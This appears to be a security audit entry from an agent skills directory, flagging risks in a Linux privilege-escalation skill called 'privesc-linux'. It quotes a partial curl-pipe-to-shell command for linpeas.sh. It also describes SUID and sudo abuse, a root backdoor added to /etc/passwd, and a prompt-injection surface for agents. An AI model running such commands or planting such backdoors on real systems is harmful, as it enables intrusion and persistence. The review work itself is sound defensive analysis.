The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides a command to download a script from a remote GitHub repository and execute it immediately by piping the output to the shell (curl -L .../linpeas.sh | sh). This is a highly unsafe pattern that executes unverified remote code.
[EXTERNAL_DOWNLOADS]: The skill references multiple external tools and scripts (linux-exploit-suggester.sh, pspy64) that must be downloaded from third-party sources to perform automated enumeration and monitoring.
[COMMAND_EXECUTION]: The skill is entirely composed of shell commands designed to bypass system security boundaries, including instructions for exploiting SUID/SGID binaries, misconfigured sudo permissions, and Linux capabilities.
[DATA_EXFILTRATION]: The instructions include commands to read sensitive system files like /etc/passwd and environmental variables, which can lead to the exposure of user data and system configuration to the agent or external entities.
[CREDENTIALS_UNSAFE]: The skill demonstrates how to create a persistent backdoor by appending a new root-level user with a hardcoded password hash directly to the /etc/passwd file.
[PROMPT_INJECTION]: The skill presents an indirect prompt injection surface as it is designed to ingest and process untrusted data from the target system's environment (e.g., command outputs from uname, ps, and env) while having access to powerful capabilities like file writing and shell execution. There are no boundary markers or sanitization steps mentioned to protect the agent from malicious content in that system data.

privesc-linux